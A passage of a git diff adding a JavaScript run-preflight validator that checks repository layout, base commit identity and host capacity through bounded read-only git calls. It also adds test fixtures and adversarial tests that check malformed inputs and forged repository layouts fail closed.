if (settled) return; + settled = true; + clearTimeout(timer); + if (error) resolve(error); + else resolve(result); + }; + const exceed = () => { + if (exceeded) return; + exceeded = true; + try { + child.kill('SIGKILL'); + } catch { /* already exited */ } + finish(contractError('bounds_exceeded', pathLabel, + 'The preflight observation exceeded an output or wall-clock bound.')); + }; + timer = setTimeout(exceed, Math.min(MAX_GIT_TIME_MS, remainingMs)); + const onChunk = (target, getSize, setSize) => (chunk) => { + if (exceeded) return; + const owned = Buffer.isBuffer(chunk) ? chunk : Buffer.from([]); + const next = getSize() + owned.length; + setSize(next); + if (next > MAX_GIT_OUTPUT_BYTES) { + exceed(); + return; + } + target.push(owned); + }; + try { + if (child.stdout && typeof child.stdout.on === 'function') { + child.stdout.on('data', onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; })); + } + if (child.stderr && typeof child.stderr.on === 'function') { + child.stderr.on('data', onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; })); + } + child.once('error', () => { + finish(contractError('observation_failed', pathLabel, + 'The preflight could not complete a git observation.')); + }); + child.once('close', (code, signal) => { + if (exceeded) return; + if (Date.now() >= session.deadlineAt) { + finish(contractError('bounds_exceeded', pathLabel, + 'The preflight exceeded its git wall-clock budget.')); + return; + } + if (signal !== null && signal !== undefined) { + finish(contractError('observation_failed', pathLabel, + 'The preflight could not complete a git observation.')); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout: decodeUtf8(Buffer.concat(stdoutChunks), pathLabel), + stderr: decodeUtf8(Buffer.concat(stderrChunks), pathLabel), + }); + }); + } catch { + try { + child.kill('SIGKILL'); + } catch { /* already exited */ } + finish(contractError('observation_failed', pathLabel, + 'The preflight could not complete a git observation.')); + } + }); +} + +// Infrastructure failures (spawn start, streams) stay `observation_failed`. +// A child that actually ran and reported failure is reclassified through +// `exitFailureCode` so semantic denials stay precise at this boundary. +async function mustObserve(session, args, pathLabel, options = {}) { + const outcome = await runObservation(session, args, pathLabel); + if (outcome instanceof RunContractV1Error) throw outcome; + if (outcome.exit_code !== 0) { + const { exitFailureCode = 'observation_failed', exitMessage = 'The preflight could not complete a git observation.' } = options; + failPreflight(exitFailureCode, pathLabel, exitMessage); + } + const expectedArgsLength = options.lineCount; + const unexpectedMessage = options.unexpectedMessage + ?? 'A git observation produced an unexpected response.'; + let text = outcome.stdout; + if (text.endsWith('\n')) text = text.slice(0, -1); + if (text.includes('\0') || text.includes('\r')) { + failPreflight('observation_failed', pathLabel, + 'A git observation produced an unexpected response.'); + } + const lines = text.split('\n'); + if (expectedArgsLength !== undefined && lines.length !== expectedArgsLength) { + failPreflight('observation_failed', pathLabel, unexpectedMessage); + } + return lines; +} + +async function readBoundedText(filePath, pathLabel) { + let bytes; + try { + bytes = await nodeReadFile(filePath); + } catch { + failPreflight('repository_layout_invalid', pathLabel, + 'The repository layout is not a trusted git worktree layout.'); + } + if (bytes.length > PRIVATE_MAX_LAYOUT_FILE_BYTES) { + failPreflight('repository_layout_invalid', pathLabel, + 'The repository layout is not a trusted git worktree layout.'); + } + return decodeUtf8(bytes, pathLabel); +} + +async function assertCanonicalDirectory(candidatePath, pathLabel, missingCode) { + let metadata; + try { + metadata = await nodeLstat(candidatePath); + } catch { + failPreflight(missingCode, pathLabel, + 'The submitted repository path does not identify an accessible directory.'); + } + if (typeof metadata?.isDirectory !== 'function' || !metadata.isDirectory() + || (typeof metadata.isSymbolicLink === 'function' && metadata.isSymbolicLink())) { + failPreflight('repository_not_canonical', pathLabel, + 'The submitted repository path must be a real directory, never a symlink alias.'); + } + let resolved; + try { + resolved = await nodeRealpath(candidatePath); + } catch { + failPreflight(missingCode, pathLabel, + 'The submitted repository path does not identify an accessible directory.'); + } + if (resolved !== candidatePath) { + failPreflight('repository_not_canonical', pathLabel, + 'The submitted repository path must equal its own canonical realpath spelling.'); + } + return resolved; +} + +async function observeCanonicalRepository(session, repositoryPath, pathLabel) { + await assertCanonicalDirectory(repositoryPath, `${pathLabel}.path`, 'repository_missing'); + const lines = await mustObserve( + session, + ['-C', repositoryPath, 'rev-parse', '--path-format=absolute', + '--is-inside-work-tree', '--is-bare-repository', '--show-toplevel', '--absolute-git-dir'], + `${pathLabel}.work_tree`, + { + lineCount: 4, + // Only a child that actually ran and reported failure lands here; + // spawn/stream infrastructure failures stay `observation_failed`. + exitFailureCode: 'repository_not_canonical', + exitMessage: 'The submitted repository path must identify a canonical non-bare git work tree root.', + }, + ); + const [inside, bare, toplevel, gitDir] = lines; + if (!PRIVATE_TRUE_FALSE_PATTERN.test(inside) || inside !== 'true' + || !PRIVATE_TRUE_FALSE_PATTERN.test(bare) || bare !== 'false') { + failPreflight('repository_not_canonical', `${pathLabel}.path`, + 'The submitted repository path must identify a non-bare git work tree root.'); + } + if (toplevel !== repositoryPath) { + failPreflight('repository_not_canonical', `${pathLabel}.path`, + 'The submitted repository path must equal the observed git work tree toplevel.'); + } + if (gitDir.length === 0 || !gitDir.startsWith('/') || nodePath.resolve(gitDir) !== gitDir + || !PRIVATE_SINGLE_LINE_PATTERN.test(gitDir)) { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository did not yield a trusted absolute git directory.'); + } + await assertTrustedGitLayout(repositoryPath, gitDir, pathLabel); + return gitDir; +} + +async function assertTrustedGitLayout(repositoryPath, observedGitDir, pathLabel) { + const gitEntryPath = nodePath.join(repositoryPath, '.git'); + let metadata; + try { + metadata = await nodeLstat(gitEntryPath); + } catch { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } + if ((typeof metadata.isSymbolicLink === 'function' && metadata.isSymbolicLink())) { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } + let entryTarget; + if (typeof metadata.isDirectory === 'function' && metadata.isDirectory()) { + try { + entryTarget = await nodeRealpath(gitEntryPath); + } catch { + entryTarget = null; + } + } else if (typeof metadata.isFile === 'function' && metadata.isFile()) { + const text = await readBoundedText(gitEntryPath, `${pathLabel}.path`); + const match = PRIVATE_GITDIR_LINE_PATTERN.exec(text.replace(/\n$/u, '')); + if (!match) { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } + const declared = nodePath.isAbsolute(match[1]) ? match[1] : nodePath.resolve(repositoryPath, match[1]); + try { + entryTarget = await nodeRealpath(declared); + } catch { + entryTarget = null; + } + } else { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } + let observedTarget; + try { + observedTarget = await nodeRealpath(observedGitDir); + } catch { + observedTarget = null; + } + if (entryTarget === null || observedTarget === null || entryTarget !== observedTarget) { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } +} + +async function observeExactBaseCommit(session, repositoryPath, baseSha, pathLabel) { + const typeOutcome = await runObservation( + session, + ['-C', repositoryPath, 'cat-file', '-t', baseSha], + `${pathLabel}.base_sha`, + ); + if (typeOutcome instanceof RunContractV1Error) throw typeOutcome; + if (typeOutcome.exit_code !== 0 || typeOutcome.stdout.trim() !== PRIVATE_BASE_TYPE) { + failPreflight('base_identity_invalid', `${pathLabel}.base_sha`, + 'The submitted base must exist as exactly one immutable commit object.'); + } + const replaceLines = await mustObserve( + session, + ['-C', repositoryPath, 'for-each-ref', '--format=%(refname)', '--', 'refs/replace'], + `${pathLabel}.base_sha`, + ); + const replaceText = replaceLines[0] ?? ''; + if (replaceLines.length !== 1 || replaceText.length > 0) { + failPreflight('replace_refs_denied', `${pathLabel}.base_sha`, + 'The repository carries replace refs; object identity cannot be proven exact.'); + } +} + +async function observeRepositoryAndBase(manifest, spawnFn) { + const repositoryPath = manifest.repository.path; + const baseSha = manifest.repository.base_sha; + const pathLabel = 'repository'; + const session = createSession(spawnFn); + const gitDir = await observeCanonicalRepository(session, repositoryPath, pathLabel); + await observeExactBaseCommit(session, repositoryPath, baseSha, pathLabel); + return capturedFreeze({ + path: repositoryPath, + base_sha: baseSha, + object_type: PRIVATE_BASE_TYPE, + git_dir: gitDir, + }); +} + +function buildReceipt(manifest, summary, repositoryFacts, hostFacts) { + const concurrency = manifest.policy.max_concurrency; + const sideEffects = {}; + for (const claim of RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS) { + sideEffects[claim] = false; + } + return capturedFreeze({ + schema: RUN_PREFLIGHT_SCHEMA_ID, + version: RUN_PREFLIGHT_VERSION, + status: 'ready', + run_id: manifest.run_id, + children: summary, + capacity: capturedFreeze({ + source: hostFacts.source, + cpu_parallelism: hostFacts.cpu_parallelism, + total_ram_bytes: hostFacts.total_ram_bytes, + available_ram_bytes: hostFacts.available_ram_bytes, + required_ram_bytes: concurrency * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, + cpu_ok: true, + ram_ok: true, + }), + repository: repositoryFacts, + checks: RUN_PREFLIGHT_CHECKS, + side_effects: capturedFreeze(sideEffects), + git_identity: buildGitIdentityV1({ + repository_path: repositoryFacts.path, + base_sha: repositoryFacts.base_sha, + }), + }); +} + +export async function validateRunPreflightV1(request, options) { + const parsedOptions = parseOptions(options); + const manifestInput = parseRequest(request); + const snapshot = parseRunManifestV1(manifestInput); + const childrenSummary = summarizeChildren(snapshot); + assertSnapshotDisjointWriterScopes(snapshot); + const hostFactsSource = parsedOptions.host ?? ambientHostFacts(); + const hostFacts = capturedFreeze({ + source: parsedOptions.host ? 'injected' : 'ambient', + cpu_parallelism: hostFactsSource.cpu_parallelism, + total_ram_bytes: hostFactsSource.total_ram_bytes, + available_ram_bytes: hostFactsSource.available_ram_bytes, + }); + const repositoryFacts = await observeRepositoryAndBase(snapshot, parsedOptions.spawn); + return buildReceipt(snapshot, childrenSummary, repositoryFacts, hostFacts); +} + +export function describeRunPreflightV1() { + const inventory = capturedFreeze({ + schema: RUN_PREFLIGHT_SCHEMA_ID, + version: RUN_PREFLIGHT_VERSION, + rule: 'validate_only_no_launch_side_effect', + min_children: PREFLIGHT_MIN_CHILDREN, + max_children: PREFLIGHT_MAX_CHILDREN, + ram_floor_bytes_per_child: PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, + readonly_git_commands: RUN_PREFLIGHT_READONLY_GIT_COMMANDS, + git_spawn_posture: 'argv_only_closed_env_no_optional_locks', + checks: RUN_PREFLIGHT_CHECKS, + error_codes: RUN_PREFLIGHT_ERROR_CODES, + side_effect_nonclaims: RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + composed_surfaces: capturedFreeze({ + run_contract: 'P02 run-manifest/run-policy via parseRunManifestV1', + git_identity_binding: 'P03 protected-identity buildGitIdentityV1', + selection_resolution: 'P05 resolver owns resolution; not invoked here', + provider_composition: 'P23 registry owns composition; not invoked here', + durable_submission: 'P24 run store owns writes; nothing written here', + }), + }); + return freezeData(inventory); +} + +capturedFreeze(validateRunPreflightV1); +capturedFreeze(describeRunPreflightV1); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs new file mode 100644 index 0000000..15b9e20 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs @@ -0,0 +1,274 @@ +// Neutral fixtures for RunPreflightV1 tests: disposable repositories built +// with argv git only, run manifests, injected host facts, and a recording +// spawn that delegates to the real git binary while capturing every argv. +// Tests own the assertions; nothing here ranks, defaults, or substitutes. + +import { spawn as nodeSpawn } from 'node:child_process'; +import { mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, +} from '../../mcp/v3/git-identity.mjs'; +import { PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD } from '../../mcp/v3/run-preflight.mjs'; + +export { PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD }; + +export const RUN_ID = 'preflight-under-test'; +export const ASSIGNMENT_ID_A = 'lane-alpha'; +export const ASSIGNMENT_ID_B = 'lane-beta'; + +const FIXTURE_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_AUTHOR_NAME: 'P26 Fixture', + GIT_AUTHOR_EMAIL: 'p26@example.test', + GIT_COMMITTER_NAME: 'P26 Fixture', + GIT_COMMITTER_EMAIL: 'p26@example.test', + GIT_AUTHOR_DATE: '2020-01-01T00:00:00Z', + GIT_COMMITTER_DATE: '2020-01-01T00:00:00Z', +}); + +function runFixtureGit(cwd, args) { + return new Promise((resolve, reject) => { + const child = nodeSpawn(GIT_EXECUTABLE, args, { + cwd, + env: { ...FIXTURE_ENV }, + stdio: ['ignore', 'pipe', 'pipe'], + }); + const stdoutChunks = []; + const stderrChunks = []; + child.stdout.on('data', (chunk) => stdoutChunks.push(chunk)); + child.stderr.on('data', (chunk) => stderrChunks.push(chunk)); + child.on('error', reject); + child.on('close', (code) => { + const stdout = Buffer.concat(stdoutChunks).toString('utf8').trim(); + const stderr = Buffer.concat(stderrChunks).toString('utf8').trim(); + if (code !== 0) { + const error = new Error(`fixture git failed: ${args.join(' ')}`); + error.stdout = stdout; + error.stderr = stderr; + reject(error); + return; + } + resolve(stdout); + }); + }); +} + +async function initRepo(root) { + await mkdir(root, { recursive: true }); + await runFixtureGit(root, ['-c', 'init.defaultBranch=main', 'init', '--initial-branch=main']); + return root; +} + +async function commitAll(root, message, fileName = 'file.txt') { + await writeFile(path.join(root, fileName), `${message}\n`, 'utf8'); + await runFixtureGit(root, ['add', '--', fileName]); + await runFixtureGit(root, ['commit', '-m', message]); + return runFixtureGit(root, ['rev-parse', 'HEAD']); +} + +function wrapRepo(root, fields) { + return { root, ...fields, cleanup: () => rm(root, { recursive: true, force: true }) }; +} + +export async function createLinearRepo(prefix = 'p26-linear-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await initRepo(root); + await commitAll(root, 'base commit', 'base.txt'); + const baseSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + await commitAll(root, 'head commit', 'head.txt'); + const headSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + return wrapRepo(root, { baseSha, headSha }); +} + +export async function createDetachedHeadRepo(prefix = 'p26-detached-') { + const repo = await createLinearRepo(prefix); + await runFixtureGit(repo.root, ['checkout', '--detach', repo.baseSha]); + return repo; +} + +export async function createTagObjectRepo(prefix = 'p26-tagobj-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await initRepo(root); + await commitAll(root, 'base commit', 'base.txt'); + const baseSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + const treeSha = await runFixtureGit(root, ['rev-parse', 'HEAD^{tree}']); + const blobSha = await runFixtureGit(root, ['rev-parse', 'HEAD:base.txt']); + await runFixtureGit(root, ['tag', '-a', '-m', 'release tag', 'v1', baseSha]); + const tagSha = await runFixtureGit(root, ['rev-parse', 'v1']); + return wrapRepo(root, { baseSha, headSha: baseSha, treeSha, blobSha, tagSha }); +} + +export async function createReplaceRefRepo(prefix = 'p26-replace-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await initRepo(root); + const baseSha = await commitAll(root, 'base commit', 'base.txt'); + await commitAll(root, 'second commit', 'second.txt'); + const replacementSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + // A raw ref write installs the shadow without plumbing validation, so the + // fixture does not depend on `git replace` type rules. + await runFixtureGit(root, ['update-ref', `refs/replace/${baseSha}`, replacementSha]); + return wrapRepo(root, { baseSha, headSha: replacementSha }); +} + +export async function createBareRepo(prefix = 'p26-bare-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await mkdir(root, { recursive: true }); + await runFixtureGit(root, ['-c', 'init.defaultBranch=main', 'init', '--bare', '--initial-branch=main']); + return wrapRepo(root, { baseSha: null, headSha: null }); +} + +export async function createEmptyDirectory(prefix = 'p26-empty-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await rm(root, { recursive: true, force: true }); + await mkdir(root, { recursive: true }); + return wrapRepo(root, { baseSha: null, headSha: null }); +} + +export async function createSymlinkAliasRepo(prefix = 'p26-symlink-') { + const repo = await createLinearRepo(prefix); + const parent = path.dirname(repo.root); + const alias = path.join(parent, `${path.basename(repo.root)}-alias`); + await symlink(repo.root, alias, 'dir'); + return { + ...repo, + cleanup: () => { + rm(alias, { force: true }).catch(() => {}); + return repo.cleanup(); + }, + }; +} + +export async function createLinkedWorktreeRepo(prefix = 'p26-worktree-') { + const repo = await createLinearRepo(prefix); + const worktreePath = path.join(path.dirname(repo.root), `${path.basename(repo.root)}-wt`); + await runFixtureGit(repo.root, ['worktree', 'add', worktreePath, repo.headSha]); + return { + ...repo, + worktreePath, + cleanup: () => rm(worktreePath, { recursive: true, force: true }).then(() => repo.cleanup()), + }; +} + +export async function forgeGitDirFileRepo(prefix = 'p26-forged-') { + const repo = await createLinearRepo(prefix); + const bogusTarget = path.join(path.dirname(repo.root), `${path.basename(repo.root)}-bogus-gitdir`); + await mkdir(bogusTarget, { recursive: true }); + await rm(path.join(repo.root, '.git'), { recursive: true, force: true }); + await writeFile(path.join(repo.root, '.git'), `gitdir: ${bogusTarget}\n`, 'utf8'); + return { ...repo, bogusTarget }; +} + +// Two independent repositories; one worktree root's `.git` entry is replaced +// with a symlink at the other repository's real git directory, so git +// observations succeed while the layout is untrusted. +export async function createSymlinkedGitDirRepo(prefix = 'p26-symgit-') { + const victim = await createLinearRepo(`${prefix}victim-`); + const donorRoot = path.join(path.dirname(victim.root), `${path.basename(victim.root)}-donor`); + await initRepo(donorRoot); + await rm(path.join(victim.root, '.git'), { recursive: true, force: true }); + await symlink(path.join(donorRoot, '.git'), path.join(victim.root, '.git'), 'dir'); + return { + root: victim.root, + baseSha: victim.baseSha, + headSha: victim.headSha, + cleanup: () => rm(donorRoot, { recursive: true, force: true }).then(() => victim.cleanup()), + }; +} + +const POLICY_TEMPLATE = Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', +}); + +export function writerLane(id, scopes, overrides = {}) { + return { + assignment_id: id, + role: 'implement', + access: 'writer', + prompt: `Implement lane ${id}.`, + write_scope: scopes, + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + execution: { provider: 'grok', model: 'grok-4' }, + ...overrides, + }; +} + +export function preflightManifest(assignments, overrides = {}) { + const count = assignments.length; + return { + schema: 'codex-co-engineer.run.v1', + run_id: RUN_ID, + repository: { + path: overrides.repositoryPath ?? '/run-fixtures/repository', + base_sha: overrides.baseSha ?? '0123456789abcdef0123456789abcdef01234567', + }, + objective: 'Validate the run before any launch surface runs.', + assignments, + policy: { ...POLICY_TEMPLATE, ...(overrides.policy ?? {}) }, + return_contract: { mode: 'verified_decision', include_artifact_refs: true }, + }; +} + +export function twoLaneManifest(overrides = {}) { + return preflightManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/alpha/**']), + writerLane(ASSIGNMENT_ID_B, ['src/beta/**']), + ], overrides); +} + +export function laneManifestsForCount(count, overrides = {}) { + const assignments = []; + for (let index = 0; index < count; index += 1) { + assignments.push(writerLane(`lane-${String(index).padStart(2, '0')}`, [`src/area-${index}/**`])); + } + return preflightManifest(assignments, overrides); +} + +export function hostFacts(overrides = {}) { + return { + cpu_parallelism: 8, + total_ram_bytes: 34_359_738_368, + available_ram_bytes: 8 * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, + ...overrides, + }; +} + +export function createRecordingSpawn() { + const records = []; + let failNextStart = false; + const spawnFn = (file, args, options) => { + const envKeys = options && options.env ? Object.keys(options.env).sort() : []; + records.push({ file, args: [...args], envKeys, cwd: options?.cwd }); + if (failNextStart) { + failNextStart = false; + throw new Error('injected spawn failure'); + } + return nodeSpawn(file, args, options); + }; + return { + spawn: spawnFn, + records, + files: () => records.map((record) => record.file), + commands: () => records.map((record) => record.args.filter( + (arg) => !arg.startsWith('-') && !arg.includes('=') && arg !== '/usr/bin/git', + )), + failNext() { + failNextStart = true; + }, + }; +} diff --git a/plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs new file mode 100644 index 0000000..9fec508 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs @@ -0,0 +1,329 @@ +// P26 run preflight — adversarial coverage: hostile callers (Proxies, +// accessors, symbols, non-enumerables, aliases, exotic prototypes), hostile +// seams (spawn handles, injected host facts), and the closed read-only git +// observation posture. Every failure must be a bounded content-free typed +// error raised without any launch-shaped action. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { EventEmitter } from 'node:events'; +import { spawn as nodeSpawn } from 'node:child_process'; + +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, +} from '../mcp/v3/git-identity.mjs'; +import { + RUN_PREFLIGHT_READONLY_GIT_COMMANDS, + validateRunPreflightV1, +} from '../mcp/v3/run-preflight.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + createLinearRepo, + hostFacts, + twoLaneManifest, +} from './fixtures/r1-run-preflight-fixtures.mjs'; + +const SUFFICIENT_HOST = hostFacts(); +const ISOLATION_PREFIX = [ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', +]; + +async function expectCode(promise, code) { + try { + await promise; + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected typed error, got ${error}`); + assert.equal(error.code, code, error.message); + assert.ok(Buffer.byteLength(error.message, 'utf8') <= 200); + return error; + } + throw new Error(`expected failure with code ${code}`); +} + +test('manifest Proxies are denied before any observation runs', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + let spawned = false; + await expectCode( + validateRunPreflightV1( + { manifest: new Proxy(manifest, {}) }, + { host: SUFFICIENT_HOST, spawn: () => { spawned = true; } }, + ), + 'proxy_denied', + ); + assert.equal(spawned, false); + } finally { + await repo.cleanup(); + } +}); + +test('symbol-keyed requests are denied without running getters', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const getter = () => { throw new Error('getter must never run'); }; + const request = { manifest }; + Object.defineProperty(request, Symbol('poison'), { get: getter, enumerable: true }); + await expectCode(validateRunPreflightV1(request, { host: SUFFICIENT_HOST }), 'symbol_key_denied'); + } finally { + await repo.cleanup(); + } +}); + +test('non-enumerable manifest decorations fail closed', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + Object.defineProperty(manifest, 'hidden', { + value: { poison: true }, + enumerable: false, + writable: true, + configurable: true, + }); + await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }), + 'non_enumerable_property_denied', + ); + } finally { + await repo.cleanup(); + } +}); + +test('null-prototype manifests keep their accepted P02 semantics', async () => { + const repo = await createLinearRepo(); + try { + const manifest = Object.create(null); + Object.assign(manifest, twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha })); + const receipt = await validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }); + assert.equal(receipt.status, 'ready'); + assert.equal(receipt.repository.path, repo.root); + } finally { + await repo.cleanup(); + } +}); + +test('aliased subtrees inside one request are denied', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const shared = { note: 'shared' }; + manifest.alpha_note = shared; + manifest.beta_note = shared; + const error = await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }), + 'aliased_reference_denied', + ); + void error; + } finally { + await repo.cleanup(); + } +}); + +test('undefined members are denied like ordinary JSON violations', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + manifest.extra = undefined; + await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }), + 'own_undefined_denied', + ); + } finally { + await repo.cleanup(); + } +}); + +test('unknown manifest keys keep the accepted upstream denial', async () => { + const repo = await createLinearRepo(); + try { + const foreign = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + foreign.totally_unknown = true; + await expectCode( + validateRunPreflightV1({ manifest: foreign }, { host: SUFFICIENT_HOST }), + 'unknown_key', + ); + } finally { + await repo.cleanup(); + } +}); + +test('the request key set is closed and the manifest is required', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + await expectCode( + validateRunPreflightV1({ manifest, extra: true }, { host: SUFFICIENT_HOST }), + 'invalid_format', + ); + await expectCode(validateRunPreflightV1({}, { host: SUFFICIENT_HOST }), 'missing_key'); + } finally { + await repo.cleanup(); + } +}); + +test('hostile injected host facts fail closed', async () => { + const repo = await createLinearRepo(); + try { + const base = { repositoryPath: repo.root, baseSha: repo.baseSha }; + const cases = [ + ['negative', hostFacts({ cpu_parallelism: -1 }), 'host_facts_invalid'], + ['fractional', hostFacts({ available_ram_bytes: 1.5 }), 'host_facts_invalid'], + ['string', hostFacts({ total_ram_bytes: 'big' }), 'host_facts_invalid'], + ['unsafe', hostFacts({ available_ram_bytes: Number.MAX_SAFE_INTEGER + 1 }), 'host_facts_invalid'], + ['NaN', hostFacts({ cpu_parallelism: Number.NaN }), 'invalid_json_value'], + ]; + for (const [label, facts, code] of cases) { + const error = await expectCode( + validateRunPreflightV1({ manifest: twoLaneManifest(base) }, { host: facts }), + code, + ); + if (code === 'host_facts_invalid') { + assert.match(error.path, /^options\.host\./u, label); + } + } + await expectCode( + validateRunPreflightV1( + { manifest: twoLaneManifest(base) }, + { host: hostFacts({ unexpected: 1 }) }, + ), + 'invalid_format', + ); + await expectCode( + validateRunPreflightV1({ manifest: twoLaneManifest(base) }, { host: new Proxy(hostFacts(), {}) }), + 'proxy_denied', + ); + } finally { + await repo.cleanup(); + } +}); + +test('hostile spawn seams fail closed before any observation runs', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST, spawn: 'not-a-function' }), + 'invalid_type', + ); + await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST, spawn: new Proxy(() => {}, {}) }), + 'proxy_denied', + ); + } finally { + await repo.cleanup(); + } +}); + +test('a throwing injected spawn becomes one bounded infrastructure failure', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const error = await expectCode( + validateRunPreflightV1( + { manifest }, + { host: SUFFICIENT_HOST, spawn: () => { throw new Error('explosive'); } }, + ), + 'observation_failed', + ); + assert.doesNotMatch(error.message, /explosive/u); + } finally { + await repo.cleanup(); + } +}); + +function fakeGitChild(script) { + const child = new EventEmitter(); + child.stdout = new EventEmitter(); + child.stderr = new EventEmitter(); + child.killedWith = null; + child.kill = (signal) => { + child.killedWith = signal; + return true; + }; + queueMicrotask(() => script(child)); + return child; +} + +test('oversized observation output hits the bound and kills the child', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const spawned = []; + const error = await expectCode( + validateRunPreflightV1({ manifest }, { + host: SUFFICIENT_HOST, + spawn(file, args) { + spawned.push(args); + if (args.includes('rev-parse')) { + return fakeGitChild((child) => { + child.stdout.emit('data', Buffer.alloc(8192, 0x61)); + child.emit('close', 0, null); + }); + } + throw new Error('should not be reached'); + }, + }), + 'bounds_exceeded', + ); + assert.doesNotMatch(error.message, /616161/u); + assert.equal(spawned.length, 1); + } finally { + await repo.cleanup(); + } +}); + +test('an erroring child process maps to one bounded infrastructure failure', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + await expectCode( + validateRunPreflightV1({ manifest }, { + host: SUFFICIENT_HOST, + spawn() { + return fakeGitChild((child) => { + child.emit('error', new Error('spawn boom')); + }); + }, + }), + 'observation_failed', + ); + } finally { + await repo.cleanup(); + } +}); + +test('every real observation keeps the closed argv, env, and cwd posture', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const records = []; + const receipt = await validateRunPreflightV1({ manifest }, { + host: SUFFICIENT_HOST, + spawn(file, args, options) { + records.push({ file, args, options }); + return nodeSpawn(file, args, options); + }, + }); + assert.equal(receipt.status, 'ready'); + assert.ok(records.length >= 3); + for (const record of records) { + assert.equal(record.file, GIT_EXECUTABLE); + assert.deepEqual(record.options.env, GIT_CLOSED_ENV); + assert.equal(Object.isFrozen(record.options.env), true); + assert.equal(record.options.cwd, '/'); + assert.deepEqual(record.args.slice(0, 3), ISOLATION_PREFIX); + const dashC = record.args.indexOf('-C'); + assert.ok(dashC > 3, record.args.join(' ')); + assert.ok( + RUN_PREFLIGHT_READONLY_GIT_COMMANDS.includes(record.args[dashC + 2]), + record.args.join(' '), + ); + } + } finally { + await repo.cleanup(); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs 